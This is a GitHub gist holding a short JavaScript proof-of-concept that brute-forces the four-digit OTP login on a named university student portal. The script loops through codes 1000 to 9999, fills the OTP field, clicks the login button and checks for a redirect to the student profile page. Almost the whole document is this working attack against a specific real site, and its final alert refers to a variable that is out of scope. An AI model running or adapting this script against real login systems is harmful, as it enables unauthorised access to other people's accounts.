Skip to content

Instantly share code, notes, and snippets.

@0x48piraj
Created May 5, 2019 19:27
Show Gist options
  • Select an option

  • Save 0x48piraj/6677ae27aadabda6493832555c099560 to your computer and use it in GitHub Desktop.

Select an option

Save 0x48piraj/6677ae27aadabda6493832555c099560 to your computer and use it in GitHub Desktop.
POC in Javascript for Bruteforcing OTP PIN Efficiently (dms.jaipur.manipal.edu)
// Author : PIYUSH RAJ (0x48piraj)
// Proof-of-Concept (POC) : Javascript
function sleepFor( sleepDuration ){
var now = new Date().getTime();
while(new Date().getTime() < now + sleepDuration){ /* do nothing */ }
}
function check(combo){
document.getElementById("TxtStduentOTP").value = combo;
console.log('Trying: '+combo);
sleepFor(20);
document.getElementById("btnLoginByStdent").click();
return document.URL === "https://dms.jaipur.manipal.edu/studentProfile.aspx";
}
function lpad(number, targetLength) {
return (Array.apply(null,Array(targetLength)).map(function(){return '0';}).join('') + number).slice(-targetLength);
}
function breakOTP() {
var found = false;
var count = 1000; // OTP generated is always par 1000, thus it helps reducing 1000 combinations
while(!found && count < 10000){
found = check(lpad(count,4));
count++;
}
if (found) {
alert("The pin number is, actually was : " + combo);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment